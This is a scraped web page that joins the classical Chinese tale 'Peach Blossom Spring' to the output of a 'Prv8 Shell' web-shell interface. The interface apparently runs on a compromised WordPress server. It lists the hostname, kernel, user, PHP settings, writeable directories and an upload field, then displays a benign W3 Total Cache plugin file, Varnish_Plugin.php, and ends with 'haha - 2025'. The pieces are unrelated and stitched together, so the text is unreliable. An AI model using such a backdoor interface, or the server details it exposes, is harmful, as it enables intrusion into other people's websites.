晋太元中，武陵人捕鱼为业。缘溪行，忘路之远近。忽逢桃花林，夹岸数百步，中无杂树，芳草鲜美，落英缤纷。渔人甚异之，复前行，欲穷其林。 　　林尽水源，便得一山，山有小口，仿佛若有光。便舍船，从口入。初极狭，才通人。复行数十步，豁然开朗。土地平旷，屋舍俨然，有良田、美池、桑竹之属。阡陌交通，鸡犬相闻。其中往来种作，男女衣着，悉如外人。黄发垂髫，并怡然自乐。 　　见渔人，乃大惊，问所从来。具答之。便要还家，设酒杀鸡作食。村中闻有此人，咸来问讯。自云先世避秦时乱，率妻子邑人来此绝境，不复出焉，遂与外人间隔。问今是何世，乃不知有汉，无论魏晋。此人一一为具言所闻，皆叹惋。余人各复延至其家，皆出酒食。停数日，辞去。此中人语云：“不足为外人道也。”(间隔 一作：隔绝) 　　既出，得其船，便扶向路，处处志之。及郡下，诣太守，说如此。太守即遣人随其往，寻向所志，遂迷，不复得路。 　　南阳刘子骥，高尚士也，闻之，欣然规往。未果，寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/stando/www/wp-content/plugins/w3-total-cache/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/stando/www/wp-content/plugins/w3-total-cache/Varnish_Plugin.php
<?php
namespace W3TC;

/**
 * class Varnish_Plugin
 */
class Varnish_Plugin {
	/**
	 * Runs plugin
	 */
	public function run() {
		Util_AttachToActions::flush_posts_on_actions();

		add_action( 'w3tc_flush_all',
			array( $this, 'varnish_flush' ),
			2000, 1 );
		add_action( 'w3tc_flush_post',
			array( $this, 'varnish_flush_post' ),
			2000, 1 );
		add_action( 'w3tc_flushable_posts', '__return_true', 2000 );
		add_action( 'w3tc_flush_posts',
			array( $this, 'varnish_flush' ),
			2000 );
		add_action( 'w3tc_flush_url',
			array( $this, 'varnish_flush_url' ),
			2000, 1 );

		add_filter( 'w3tc_admin_bar_menu',
			array( $this, 'w3tc_admin_bar_menu' ) );
	}



	/**
	 * Purges varnish cache
	 *
	 * @return mixed
	 */
	public function varnish_flush( $extras = array() ) {
		if ( isset( $extras['only'] ) && $extras['only'] != 'varnish' )
			return;

		$varnishflush = Dispatcher::component( 'Varnish_Flush' );
		$v = $varnishflush->flush();

		return $v;
	}

	/**
	 * Purges post from varnish
	 *
	 * @param integer $post_id
	 * @return mixed
	 */
	public function varnish_flush_post( $post_id ) {
		$varnishflush = Dispatcher::component( 'Varnish_Flush' );
		$v = $varnishflush->flush_post( $post_id );

		return $v;
	}

	/**
	 * Purges post from varnish
	 *
	 * @param string  $url
	 * @return mixed
	 */
	public function varnish_flush_url( $url ) {
		$varnishflush = Dispatcher::component( 'Varnish_Flush' );
		$v = $varnishflush->flush_url( $url );

		return $v;
	}

	public function w3tc_admin_bar_menu( $menu_items ) {
		$menu_items['20610.varnish'] = array(
			'id' => 'w3tc_flush_varnish',
			'parent' => 'w3tc_flush',
			'title' => __( 'Reverse Proxy', 'w3-total-cache' ),
			'href' => wp_nonce_url( admin_url(
					'admin.php?page=w3tc_dashboard&amp;w3tc_flush_varnish' ),
				'w3tc' )
		);

		return $menu_items;
	}
}

haha - 2025